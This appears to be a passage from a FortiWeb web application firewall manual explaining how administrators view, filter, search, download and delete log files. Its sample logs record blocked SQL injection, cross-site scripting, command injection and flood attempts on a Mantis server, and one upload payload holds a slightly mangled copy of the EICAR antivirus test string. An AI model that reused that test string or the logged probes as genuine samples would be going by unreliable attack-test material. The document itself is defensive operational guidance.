2	00070010	waf_signature_detection	172.20.120.170	/mantis/bugnote_update.php	2012-06-07	10:12:58	172.20.120.46	172.20.120.170	policy1	SQL Injection (Extended) : Signature ID 040000	
3	00070010	waf_signature_detection	172.20.120.170	/mantis/bugnote_update.php	2012-06-07	10:12:58	172.20.120.46	172.20.120.170	policy1	SQL Injection : Signature ID 030000108	
4	00070010	waf_signature_detection	172.20.120.170	/mantis/bugnote_add.php	2012-06-07	10:03:27	172.20.120.46	172.20.120.170	policy1	SQL Injection (Extended) : Signature ID 040000	
5	00070010	waf_signature_detection	172.20.120.170	/mantis/bugnote_add.php	2012-06-07	10:03:27	172.20.120.46	172.20.120.170	policy1	SQL Injection : Signature ID 030000108	
6	00070034	waf_illegal_file_type	172.20.120.170	/mantis/bug_file_add.php	2012-06-07	09:57:58	172.20.120.46	172.20.120.170	policy1	filename [Auto_Learn-draft.pdf]: Illegal file type	
7	00070034	waf_illegal_file_type	172.20.120.170	/mantis/bug_file_add.php	2012-06-07	09:57:58	172.20.120.46	172.20.120.170	policy1	filename [Auto_Learn-draft.pdf]: Illegal file size	
8	00070010	waf_signature_detection	172.20.120.170	/mantis/bug_view_page.php	2012-06-06	20:47:44	172.20.130.101	172.20.120.170	policy1	Generic Attacks-Command Injection : Signature	
9	00070010	waf_signature_detection	172.20.120.170	/mantis/bug_view_page.php	2012-06-06	20:46:37	172.20.130.101	172.20.120.170	policy1	Cross Site Scripting (Extended) : Signature ID 0	
10	00070010	waf_signature_detection	172.20.120.170	/mantis/bug_view_page.php	2012-06-06	20:46:37	172.20.130.101	172.20.120.170	policy1	Cross Site Scripting : Signature ID 010000063	
11	00070054	waf_antivirus_check	172.20.120.170	/mantis/bug_file_add.php	2012-06-06	15:32:14	172.20.120.46	172.20.120.170	policy1	filename [eicar.com] virus name [EICAR_TEST_	
12	00070034	waf_illegal_file_type	172.20.120.170	/mantis/bug_file_add.php	2012-06-06	15:32:14	172.20.120.46	172.20.120.170	policy1	filename [eicar.com]: Illegal file type	
13	00070054	waf_antivirus_check	172.20.120.170	/mantis/bug_file_add.php	2012-06-06	15:20:05	172.20.120.46	172.20.120.170	policy1	filename [eicar.com] virus name [EICAR_TEST_	
14	00070034	waf_illegal_file_type	172.20.120.170	/mantis/bug_file_add.php	2012-06-06	15:20:05	172.20.120.46	172.20.120.170	policy1	filename [eicar.com]: Illegal file type	
15	00070034	waf_illegal_file_type	172.20.120.170	/mantis/bug_file_add.php	2012-06-06	15:15:44	172.20.120.46	172.20.120.170	policy1	filename [Notes.txt]: Illegal file type	
16	00070038	DDOS based on source IP: waf_tcp_connection_overflow	unknown	unknown	2012-05-28	11:27:54	172.20.120.168	172.20.120.170	policy1	DoS Attack: TCP Flood Prevention Violation	

Log Location: Attack Log View 30 per page Line: 1 / 18371

Pattern #0166584.

Date	2012-06-07	Time	10:12:58
MSG ID	000000646548	ID	00070010
Policy	policy1	Action	Alert
Severity Level	Medium	Trigger Policy	
Level	alert	Device ID	FV-1KC3R11700094
Type	attack	Sub Type	waf_signature_detection
Message	SQL Injection (Extended) : Signature ID 040000136 (Add Exception) (Disable Signature)	Time Zone	(GMT-5:00)Eastern Time(US & Canada)
Protocol	tcp	Service	http
Source	172.20.120.46	Source Port	62472
Destination	172.20.120.170	Destination Port	80
URL	/mantis/bugnote_update.php	HTTP Host	172.20.120.170
HTTP Agent	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5	POST	/mantis/bugnote_update.php

Button	Description
Refresh	Click to update the page with any logs that have been recorded since you previously loaded the page.
Column Settings	Click this icon to display or hide the columns that correspond to log fields, or change the order in which they appear on the page. For more information, see “Displaying & arranging log columns” on page 553 .
Raw or Formatted	Click to toggle between a <i>Raw</i> and <i>Formatted</i> view of the log information. The raw view displays the log message as it actually appears in the log file. The formatted view displays the log message in a columnar format. Click to switch the log information view to that opposite of what is currently displayed. For details on both view types, see “Switching between Raw & Formatted log views” on page 551 .
Clear All Filters	Click this icon to clear all log view filters. For details on log view filters, see “Filtering log messages” on page 554 .
Log Message Aggregation	Click to arrange the attack logs into specific categories. For more information, see “Coalescing similar attack log messages” .
Log Search	Click to search attack logs using simple or advanced search criteria. For more information, see “Searching attack logs” on page 560 .
Log Management	Click to download, delete, or view the contents of a log file.



Not all detected attacks may be blocked, redirected, or sanitized.

For example, while using auto-learning, you can configure protection profiles with an action of *Alert* (log but not deny), allowing the connection to complete in order to gather full auto-learning data.

To determine whether or not an attack attempt was permitted to reach a web server, show the *Action* column. For details, see “[Displaying & arranging log columns](#)” on page 553. Additionally, if the FortiWeb appliance is operating in offline protection mode or transparent inspection mode, due to asynchronous inspection where the attack may have reached the server before it was detected by FortiWeb, you should also examine the server itself.

Table 53: *Log&Report > Log Access > Traffic*

Log Management									
#	Date	Time	Level	Service	Source	Destination	URL	Message	Detailed Information
31	2012-06-07	14:58:46	notice	http	192.168.100.6	172.20.120.46	/mantis/paee_'d1B'p%	HTTP response from 192.168.100.6:80 to 172.20.120.46:49794, return code 400	date=2012-06-07 time=14:58:46
32	2012-06-07	14:58:46	notice	http	172.20.120.46	172.20.120.170	/mantis/paee_'d1B'p%	HTTP request from 172.20.120.46:49794 to 172.20.120.170:80, method GET	date=2012-06-07 time=14:58:46
33	2012-06-07	14:28:47	notice	http	192.168.100.6	172.20.120.46	/favicon.ico	HTTP response from 192.168.100.6:80 to 172.20.120.46:49314, return code 404	date=2012-06-07 time=14:28:47
34	2012-06-07	14:28:47	notice	http	172.20.120.46	172.20.120.170	/favicon.ico	HTTP request from 172.20.120.46:49314 to 172.20.120.170:80, method GET	date=2012-06-07 time=14:28:47
35	2012-06-07	14:28:40	notice	http	192.168.100.6	172.20.120.46	/mantis/view_all_bug_page.php	HTTP response from 192.168.100.6:80 to 172.20.120.46:49190, return code 200	date=2012-06-07 time=14:28:40
36	2012-06-07	14:28:39	notice	http	172.20.120.46	172.20.120.170	/mantis/view_all_bug_page.php	HTTP request from 172.20.120.46:49190 to 172.20.120.170:80, method GET	date=2012-06-07 time=14:28:39
37	2012-06-07	12:35:14	notice	http	192.168.100.6	172.20.120.46	/favicon.ico	HTTP response from 192.168.100.6:80 to 172.20.120.46:62652, return code 404	date=2012-06-07 time=12:35:14
38	2012-06-07	12:35:14	notice	http	172.20.120.46	172.20.120.170	/favicon.ico	HTTP request from 172.20.120.46:62652 to 172.20.120.170:80, method GET	date=2012-06-07 time=12:35:14
39	2012-06-07	12:35:13	notice	http	192.168.100.6	172.20.120.46	/mantis/view_all_bug_page.php	HTTP response from 192.168.100.6:80 to 172.20.120.46:62651, return code 200	date=2012-06-07 time=12:35:13
40	2012-06-07	12:35:13	notice	http	172.20.120.46	172.20.120.170	/mantis/view_all_bug_page.php	HTTP request from 172.20.120.46:62651 to 172.20.120.170:80, method GET	date=2012-06-07 time=12:35:13
41	2012-06-07	11:03:51	notice	http	192.168.100.6	192.168.171.177	/mantis/bug_view_page.php	HTTP response from 192.168.100.6:80 to 192.168.171.177:54291, return code 200	date=2012-06-07 time=11:03:51
42	2012-06-07	11:03:51	notice	http	192.168.171.177	172.20.120.170	/mantis/bug_view_page.php	HTTP request from 192.168.171.177:54291 to 172.20.120.170:80, method GET	date=2012-06-07 time=11:03:51
43	2012-06-07	11:03:50	notice	http	192.168.100.6	192.168.171.177	/mantis/login_cookie_test.php	HTTP response from 192.168.100.6:80 to 192.168.171.177:54290, return code 302	date=2012-06-07 time=11:03:50
44	2012-06-07	11:03:50	notice	http	192.168.171.177	172.20.120.170	/mantis/login_cookie_test.php	HTTP request from 192.168.171.177:54290 to 172.20.120.170:80, method GET	date=2012-06-07 time=11:03:50
45	2012-06-07	11:03:50	notice	http	192.168.100.6	192.168.171.177	/mantis/login.php	HTTP response from 192.168.100.6:80 to 192.168.171.177:54289, return code 302	date=2012-06-07 time=11:03:50
46	2012-06-07	11:03:50	notice	http	192.168.171.177	172.20.120.170	/mantis/login.php	HTTP request from 192.168.171.177:54289 to 172.20.120.170:80, method POST	date=2012-06-07 time=11:03:50

Log Location: Traffic Log View 30 per page Line: 31 / 2030

Date	2012-06-07	Time	14:58:46
MSG ID	000000646696	ID	00010001
Policy	policy1	Action	
Severity Level		Trigger Policy	
Level	notice	Device ID	FV-1KC3R11700094
Type	traffic	Sub Type	traffic
Message	HTTP response from 192.168.100.6:80 to 172.20.120.46:49794, return code 400	Time Zone	(GMT-5:00)Eastern Time(US & Canada)
Protocol	tcp	Service	http
Source	192.168.100.6	Source Port	80
Destination	172.20.120.46	Destination Port	49794
URL	/mantis/paee_'d1B'p%	HTTP Host	172.20.120.170
HTTP Agent	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5	Connection	
Referer		Content	
Cache-Control		Origin	

Button

Description

Refresh

Click to update the page with any logs that have been recorded since you previously loaded the page.

Column Settings

Click to display or hide the columns that correspond to log fields, or change the order in which they appear on the page. For more information, see “[Displaying & arranging log columns](#)” on page 553.

Button	Description
Raw or Formatted	Click to toggle between a <i>Raw</i> and <i>Formatted</i> view of the log information. The raw view displays the log message as it actually appears in the log file. The formatted view displays the log message in a columnar format. Click to switch the log information view to that opposite of what is currently displayed. For details on both view types, see “Switching between Raw & Formatted log views” on page 551 .
Clear All Filters	Click this icon to clear all log view filters. For details on log view filters, see “Filtering log messages” on page 554 .
Log Management	Click to download, delete, or view the contents of a log file.

- If you want to view log messages in a rotated log file, click *Log Management*.

Refresh

Column Settings

Raw

Filter Settings

Log Management

#	Date	Time	Time Zone	ID	Type	Sub Ty	Level	Message
1	2011-10-04	12:37:47	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	ERROR	Fail to connect to website local-host.example.com (host is 172.20
2	2011-10-04	12:36:36	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	ERROR	Fail to connect to website local-host.example.com (host is 172.20
3	2011-10-04	12:35:24	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	ERROR	Fail to connect to website local-host.example.com (host is 172.20
4	2011-10-04	12:35:03	(GMT-5:00)Eastern Time(US & Canada)	00032006	event	admin	INFO	User admin login successfully from GUI(172.20.120.46)
5	2011-10-04	12:35:01	(GMT-5:00)Eastern Time(US & Canada)	00032009	event	admin	ERROR	User asd login failed from GUI(172.20.120.46)
6	2011-10-04	12:34:59	(GMT-5:00)Eastern Time(US & Canada)	00032007	event	admin	INFO	User admin logs out from GUI(172.20.120.46)
7	2011-10-04	12:34:13	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	ERROR	Fail to connect to website local-host.example.com (host is 172.20

Log Location: Event Log

View 30 per page

Line: 1 / 10107

1 / 337

A page appears, listing each of the log files for that type that are stored on the local hard drive.

View Download Clear Log			
	File name	Size	Last access time
☐	elog.log	103803904	Fri Jun 3 16:02:34 2011
☐	elog.1.log	10485760	Sun Sep 12 15:41:54 2010
☐	elog.2.log	12325888	Thu Aug 26 05:30:45 2010
☐	elog.3.log	9255936	Wed Dec 9 16:50:57 2009
☐	elog.4.log	10485760	Mon Jul 20 03:52:26 2009
☐	elog.5.log	10485760	Sun Jul 19 22:09:32 2009

- Mark the check box next to the file whose log messages you want to view.
- Click *View*.

The page refreshes, displaying log messages in that file.

Viewing a single log message as a table

When viewing attack log messages or traffic log messages, you can display the log message as a table in the frame below the log view.

To view message details

- Go to either *Log&Report > Log Access > Attack* or *Log&Report > Log Access > Traffic*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).

- Click any log message or click the *Detail* icon on any row to view message details.

The details appear below the main log table.

Detail			
Date	2009-12-21	Time	16:07:31
ID	000000374032		
MSG ID			
Type	attack	Sub Type	waf_black_page
Level	alert	Device ID	FV-1KB3R09600026
Time Zone	(GMT-5:00)Eastern Time(US & Canada)		
Protocol	tcp	Service	http
Source	172.20.120.46	Source Port	33801
Destination	172.20.120.101	Destination Port	20480
Policy	policy1		
Action	deny	HTTP Host	172.20.120.47
URL	/cc.html		
HTTP Agent	Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.38 Safari/532.0		
HTTP Session ID	unknown		
Severity Level			
Trigger Policy			
Message	DETECT_BLACK_PAGE		
Detailed Information	date=2009-12-21 time=16:07:31 log_id=000000374032 type=attack subtype=waf_black_page pri=alert device_id=FV-1KB3R09600026 timezone="(GMT-5:00)Eastern Time(US & Canada)" proto=tcp service=http src=172.20.120.46 src_port=33801 dst=172.20.120.101 dst_port=20480 policy=policy1 action=deny http_method=get http_url="/cc.html" http_host="172.20.120.47" http_agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.38 Safari/532.0" http_session_id=unknown msg="DETECT_BLACK_PAGE"		

Viewing packet payloads

If you enabled retention of packet payloads for attack and traffic logs (see [“Enabling log types, packet payload retention, & resource shortage alerts”](#) on page 533), you can view a part of the payload as dissected by the HTTP parser, in table form, via the web UI.

Packet payload tables display the decoded packet payload associated with the log message that it caused. This supplements the log message by providing the actual data that triggered the regular expression, which may help you to fine-tune your regular expressions to prevent false positives, or aid in forensic analysis.

To view a packet payload

- Go to either *Log&Report > Log Access > Attack* or *Log&Report > Log Access > Traffic*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions”](#) on page 46.

- In the row corresponding to the log message whose packet payload you want to view, click the log message.

There may not be a *Packet Log* icon for every log message, such as for normal HTTP responses and attack types where you have not enabled packet payload retention.

In a frame below or to the right the log messages (unless you have selected *Detailed Information > Hidden* from the menu bar), the log message appears in table format, as well as the decoded HTTP headers and packet payload. Parameters and file uploads will be

either in the *URL* or (for HTTP POST requests) *Data* fields. Cookies may be in either the *Cookie* or *Data* fields.

Refresh Column Settings Raw Filter Settings Log Message Aggregation Log Search Detailed Information Log Management

#	HTTP Host	URL	Date	Time	Source	Destination	Policy	Message	Action
1	172.20.120.170	/mantis/bug_file_add.php	2012-06-06	15:32:14	172.20.120.46	172.20.120.170	policy1	filename [eicar.com] virus name [EICAR_TEST_FILE]: Waf anti-virus	Deny
2	172.20.120.170	/mantis/bug_file_add.php	2012-06-06	15:32:14	172.20.120.46	172.20.120.170	policy1	filename [eicar.com]: Illegal file type	Deny

Log Location: Attack Log View 30 per page Line: 1 / 18361

Message	filename [eicar.com] virus name [EICAR_TEST_FILE]: Waf anti-virus	Time Zone	(GMT-5:00)Eastern Time(US & Canada)
Protocol	tcp	Service	http
Source	172.20.120.46	Source Port	61153
Destination	172.20.120.170	Destination Port	80
URL	/mantis/bug_file_add.php	HTTP Host	172.20.120.170
HTTP Agent	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5	POST	/mantis/bug_file_add.php
Content		Accept-Encoding	
Connection	keep-alive	Content-Length	472
Cache-Control	max-age=0	Origin	http://172.20.120.170
User-Agent	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5	Content-Type	multipart/form-data; boundary=----WebKitFormBoundaryWxzFBnfc4JUG8XaW
Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	Referer	http://172.20.120.170/mantis/bug_view_page.php?bug_id=0170061
Accept-Encoding	gzip,deflate,sdch	Accept-Language	en-US,en;q=0.8
Accept-Charset	UTF-8,*;q=0.5	Cookie	cookiesession1=ET0011ISMZ1PWDHU3GSRKPTIQF065TG; MANTIS_STRING_COOKIE=02e977450c9529bb954399f0582bbd94f00295 MANTIS_VIEW_ALL_COOKIE=v4#any#any#any#50#6#on#any#any#last
Data	-----WebKitFormBoundaryWxzFBnfc4JUG8XaWContent-Disposition: form-data; name="bug_id" 170061 -----WebKitFormBoundaryWxzFBnfc4JUG8XaW Content-Disposition: form-data; name="max_file_size" 15000000 -----WebKitFormBoundaryWxzFBnfc4JUG8XaW Content-Disposition: form-data; name="file"; filename="eicar.com" Content-Type: application/octet-stream X50IP%AP[4]PZX54(P^7)CC7}\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\$H+H* -----WebKitFormBoundaryWxzFBnfc4JUG8XaW--		

See also


- [Enabling log types, packet payload retention, & resource shortage alerts](#)
- [Switching between Raw & Formatted log views](#)
- [Coalescing similar attack log messages](#)
- [Downloading log messages](#)
- [Searching attack logs](#)

Switching between Raw & Formatted log views

You can view log messages in either *Raw* or *Formatted* view:

- **Raw** — Displays log messages exactly as they appear in the log file, as a single line of text consisting of field-value pairs.

Figure 63:Viewing log messages (*Raw* view)



- **Formatted** — Displays log messages in a columnar format. Each log field in a log message appears in its own column, aligned with the same field in other log messages, for rapid visual comparison. When displaying log messages in formatted view, you can customize the log view by hiding, displaying, and arranging columns and/or by filtering columns, refining your view to include only those log messages and fields that you want to see.

Figure 64:Viewing log messages (*Formatted* view)

#	Date	Time	Time Zone	ID	Type	
1	2011-10-04	12:37:47	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	adm
2	2011-10-04	12:36:36	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	adm
3	2011-10-04	12:35:24	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	adm
4	2011-10-04	12:35:03	(GMT-5:00)Eastern Time(US & Canada)	00032006	event	adm
5	2011-10-04	12:35:01	(GMT-5:00)Eastern Time(US & Canada)	00032009	event	adm
6	2011-10-04	12:34:58	(GMT-5:00)Eastern Time(US & Canada)	00032007	event	adm

To switch between raw logs and formatted logs

1. Go to one of the log types, such as *Log&Report > Log Access > Event*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see ["Permissions" on page 46](#).
2. Click the *Formatted* or *Raw* icon, depending on which view is currently displayed. (*Formatted* is the default.)
The page refreshes and toggles to the other view.

See also

- [Displaying & arranging log columns](#)
- [Filtering log messages](#)
- [Coalescing similar attack log messages](#)
- [Coalescing similar attack log messages](#)
- [Searching attack logs](#)

Displaying & arranging log columns

When viewing logs in *Formatted* view, you can show, hide and re-order most columns to display only relevant categories of information in your preferred order.



You cannot hide the *Packet Log* or *Detail* columns in the attack log and traffic log.

For most columns, you can also filter data within the columns to include or exclude log messages which contain your specified text in that column. For more information, see [“Filtering log messages” on page 554](#).


To display or hide columns

1. Go to one of the log types, such as *Log&Report > Log Access > Event*.

To access this part of the web UI, your administrator’s account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).

2. Click the *Column Settings* icon.

Lists of available and displayed columns appear.



3. Select which columns to hide or display:
 - In the *Available fields* area, select the names of individual columns you want to display, then click the single right arrow to move them to the *Show these fields in this order* area.
 - In the *Show these fields in this order* area, select the names of individual columns you want to hide, then click the single left arrow to move them to the *Available fields* area.
4. Change the order of the columns:
 - In the *Show these fields in this order* area, select a column name whose order of appearance you want to change.
 - Click *Move Up* or *Move Down* to move the column in the ordered list.

Placing a column name towards the top of the *Show these fields in this order* list will move the column to the left side of the *Formatted* log view.

5. Click **OK**.

The page refreshes, displaying the columns that you selected, in the order that you specified. Column settings persist when changing pages or logging out, and apply to all administrator accounts with access to the page.

See also

- [Filtering log messages](#)

Filtering log messages

When viewing log messages in *Formatted* view, you can filter columns to display only those log messages that do or do not contain your specified content in that column.



Filters cannot be used in *Raw* view.

By default, column headings contain a gray filter icon. It becomes green when a filter is configured and enabled.

Figure 65: Filter icons

Filter not in use (grey)

Filter in use (green)

Refresh

Column Settings

Raw

Filter Settings

Log Management

#	Date	Time	Time Zone	ID	Type	Sub Ty	Level	Message
1	2011-10-04	12:37:47	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	Fail to connect to website local-host.example.com (host is 172.20	
2	2011-10-04	12:36:36	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	Fail to connect to website local-host.example.com (host is 172.20	
3	2011-10-04	12:35:24	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	Fail to connect to website local-host.example.com (host is 172.20	
4	2011-10-04	12:35:03	(GMT-5:00)Eastern Time(US & Canada)	00032006	event	admin	User admin login successfully from GUI(172.20.120.46)	
5	2011-10-04	12:35:01	(GMT-5:00)Eastern Time(US & Canada)	00032009	event	admin	User asd login failed from GUI(172.20.120.46)	
6	2011-10-04	12:34:59	(GMT-5:00)Eastern Time(US & Canada)	00032007	event	admin	User admin logs out from GUI(172.20.120.46)	
7	2011-10-04	12:34:13	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	Fail to connect to website local-host.example.com (host is 172.20	

Log Location: Event Log

View

30

 per page

Line:

1

 / 10107

1

/ 337

To filter log messages by column contents

1. Go to one of the log types, such as *Log&Report > Log Access > Event*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see ["Permissions"](#) on page 46.

2. In the heading of the column that you want to filter, click the *Filter* icon.
Alternatively, on the tool bar, click the *Filter Settings* button.
The filter dialog appears.

Filters:

☒ **Sub Type:** admin [\[Change\]](#)

☒ **ID:**

Value: ☐ NOT

Use commas (,) to separate multiple values.
To filter entries that contain a specific prefix, use an * (asterisk).

☒ Add new filter ...

☒ Clear all filters

3. If you clicked the *Filter Settings* button on the tool bar, click the green + icon next to *Add new filter*, then, from the *Field* drop-down list that appears, select the name of the column that will be the basis for filtering the log view.
4. To **exclude** log messages with matching content in this column, mark the *NOT* check box; otherwise, leave it clear.
5. For *Date* and *Time* filters, define the time period in *To* and *From*.
For other filters, in *Value*, type the **entire** value that matching log messages must contain in that column. Appropriate filter strings vary by the column.



Type the **entire** value of a field in the column **exactly**, or use wild card characters (***) to indicate multiple possible matching values. (For HTTP constraint logs, the entire *Message* (msg) field is **not** displayed in *Formatted* view; you must use *Raw* view instead.) Otherwise either results will be different than you intend, or no log messages may entirely match the filter, and so the results will be empty.

For example, when filtering the log view based upon the *ID* column, in *Value*, you could type an entire, single log ID:

00032009

or you could match multiple log IDs by using an asterisk (***) to match multiple characters:

*32009

00032*

32

Matching log messages are excluded or included in your view based upon whether you have marked or cleared *NOT*.

6. Click *OK*.
A column's filter icon is green when the filter is currently enabled.

To clear one filter

1. Go to one of the log types, such as *Log&Report > Log Access > Event*.

2. In the heading of the column whose filter you want to clear, click the *Filter* icon. (A column's filter icon is green when the filter is currently enabled.)
Alternatively, on the tool bar, click the *Filter Settings* button.
The filter dialog appears.
3. Click the red X next to the column name in the filter dialog.
4. Click OK.
The column filter icon becomes gray and the page refreshes.

To clear all filters

1. Go to one of the log types, such as *Log&Report > Log Access > Event*.
2. On the tool bar, click the *Filter Settings* button.
3. Click *Clear all filters*.
4. Click OK.
All column filter icons become gray and the page refreshes.

Downloading log messages

You can download logs that are stored locally (i.e., on the FortiWeb appliance's hard drive) to your management computer.

In the web UI, there are two different methods:

- Download one or more **whole log files**. (If the log has not yet been rotated, there may be only one file.)
- Download only the log messages that occurred within a **specific time period**, regardless of which file contains them.

To download log messages matching a time period

1. Go to *Log&Report > Log Access > Download*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see ["Permissions" on page 46](#).

- Configure these settings:

Log Download

Log Type ☒ Event Log ☐ Attack Log ☐ Traffic Log

System Time Tue Oct 4 13:55:09 2011

Start Time

Year: Month: Day:

Hour: Minute: Second:

End Time

Year: Month: Day:

Hour: Minute: Second:

Setting name	Description
Log Type	Select one of the following log types to download
System Time	Displays the date and time according to the FortiWeb appliance's clock at the time that this page was loaded, or when you last clicked the <i>Refresh</i> button.
Start Time	Choose the starting point for the log download by selecting the year, month and day as well as the hour, minute and second that defines the first of the log messages to download.
End Time	Choose the end point for the log download by selecting the year, month and day as well as the hour, minute and second that defines the last of the log messages to download.

- Click *Download*.

If there are no log messages of that log type in that time period, a message appears:

no logs selected

Click *Return* and revise the time period or log type selection.

- If a file download dialog appears, choose the directory where you want to save the file.

Your browser downloads the log file in a .tgz compressed archive. Time required varies by the size of the log and the speed of the network connection.

To download a whole log file

- Go to one of the log types, such as *Log&Report > Log Access > Event*.

Log Management

#	Date	Time	Time Zone	ID	Type	Sub Ty	Level	Message
1	2011-10-04	12:37:47	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	-----	Fail to connect to website local-host.example.com (host is 172.20.120.46)
2	2011-10-04	12:36:36	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	-----	Fail to connect to website local-host.example.com (host is 172.20.120.46)
3	2011-10-04	12:35:24	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	-----	Fail to connect to website local-host.example.com (host is 172.20.120.46)
4	2011-10-04	12:35:03	(GMT-5:00)Eastern Time(US & Canada)	00032006	event	admin	-----	User admin login successfully from GUI(172.20.120.46)
5	2011-10-04	12:35:01	(GMT-5:00)Eastern Time(US & Canada)	00032009	event	admin	-----	User asd login failed from GUI(172.20.120.46)
6	2011-10-04	12:34:59	(GMT-5:00)Eastern Time(US & Canada)	00032007	event	admin	-----	User admin logs out from GUI(172.20.120.46)
7	2011-10-04	12:34:13	(GMT-5:00)Eastern Time(US & Canada)	00032901	event	admin	-----	Fail to connect to website local-host.example.com (host is 172.20.120.46)

Log Location: Event Log View: per page Line: / 10107 / 337

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see ["Permissions"](#) on page 46.

2. Click *Log Management*.


A page appears, listing each of the log files for that type that are stored on a local hard drive.



 View	 Download	 Clear Log		File name	Size	Last access time
☐				elog.log	103803904	Fri Jun 3 16:02:34 2011
☐				elog.1.log	10485760	Sun Sep 12 15:41:54 2010
☐				elog.2.log	12325888	Thu Aug 26 05:30:45 2010
☐				elog.3.log	9255936	Wed Dec 9 16:50:57 2009
☐				elog.4.log	10485760	Mon Jul 20 03:52:26 2009
☐				elog.5.log	10485760	Sun Jul 19 22:09:32 2009

3. Mark the check box next to the file that you want to download.
4. Click *Download*.

A dialog appears.



Download Event Log

Normal format ☒

CSV format ☐

Encryption ☐

Password

OK **Cancel**

5. Select either *Normal format* (raw, plain text logs) or *CSV format* (comma-separated value).
Raw, unencrypted logs can be viewed with a plain text editor. CSV-formatted, unencrypted logs can be viewed with a spreadsheet application, such as Microsoft Excel or OpenOffice Calc.
6. If you would like to password-encrypt the log files using 128-bit AES before downloading them, enable *Encryption* and type a password in *Password*.
7. Click *OK*.
8. If a file download dialog appears, choose the directory where you want to save the file.
Your browser downloads the log file as a `.log` or `.csv` file, depending on which format you selected. Time required varies by the size of the log and the speed of the network connection.

Deleting log files


If you have downloaded log files to an external backup, or if you no longer require them, you can delete one or more locally stored log files to free disk space.

To delete a log file

1. Go to one of the log types, such as *Log&Report > Log Access > Event*.
To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see ["Permissions" on page 46](#).

2. Click *Log Management*.

A page appears, listing each of the log files for that type that are stored on the local hard drive.



☐	File name	Size	Last access time
☐	elog.log	103803904	Fri Jun 3 16:02:34 2011
☐	elog.1.log	10485760	Sun Sep 12 15:41:54 2010
☐	elog.2.log	12325888	Thu Aug 26 05:30:45 2010
☐	elog.3.log	9255936	Wed Dec 9 16:50:57 2009
☐	elog.4.log	10485760	Mon Jul 20 03:52:26 2009
☐	elog.5.log	10485760	Sun Jul 19 22:09:32 2009

3. Either:

- To delete **all** log files, mark the check box in the column heading. All rows' check boxes will become marked.
- To delete **some** log files, mark the check box next to each file that you want to delete.

4. Click *Clear Log*.

Coalescing similar attack log messages

When viewing attack log messages, especially if there are many attacks of the same kind, to the same URL, or to the same web host, you may find it easier to view unique log messages when common ones are coalesced by one of those similarities, rather than by exact sequential order. (In the web UI, this feature is called log message aggregation.)

For example, a worm outbreak on the Internet can create hundreds if not thousands of malicious connections to your web servers. This could swamp your attack log with alerts, obscuring other dangerous problems. By aggregating similar alerts — such as by the *Sub Type* or *Source IP* column — you will not miss other problems.


To coalesce similar attack log messages

1. Go to *Log&Report > Log Access > Attack*.

To access this part of the web UI, your administrator's account access profile must have *Read* and *Write* permission to items in the *Log & Report* category. For details, see [“Permissions” on page 46](#).

2. On the tool bar, click the *Log Message Aggregation* icon.

A dialog appears.



Aggregation

Available fields

- Sub Type
- HTTP Host
- URL

Aggregate log by these fields

- Source IP


OK Cancel

3. In *Available fields*, select which aspect you want to use when grouping the log messages, then click the right arrow to move it to the *Aggregate log by these fields* area.

4. Click *OK*.

Attack log messages are no longer in sequential order, but are instead grouped by the similar aspect you selected.

5. To view individual log messages in the coalesced set, click the blue arrow in the # column to expand the set. (The column also contains a number that indicates the number of individual log messages in the set.)



#	Sub Type	HTTP Host	URL	Date
(2)		172.20.120.28		
(21)		172.20.120.27		

Searching attack logs

When you have many attack logs, you can locate a specific log using search.



If searching HTTP constraint logs based upon the *Message* (`msg`) field, make sure that your search criteria considers the entire message. The whole *Message* field is **not** displayed in *Formatted* view, which hides the prefix; you must use *Raw* view instead.

To search an attack log

1. At the top of the *Attack log* window, click the *Log Search* icon.
A dialog appears.
2. To perform a simple search, enter the term you want to search in the *Keyword* field and click *OK*.
3. To perform an advanced search, click the blue expansion arrow beside *Advanced Search*.
The dialog expands.

4. Configure these settings:

Search Dialog

Keyword(s):

▼ Advanced Search

From

2010

08

31

Hour

00

Minute

00

To

2010

08

31

Hour

23

Minute

59

☒ all ☐ any

Sub Type

Source

☐ not

Destination

☐ not

Source Port

☐ not

Destination Port

☐ not

HTTP Method

☐ not

Action

☐ not

Policy

☐ not

Service

☐ not

HTTP Host

☐ not

OK

Cancel

Setting name	Description
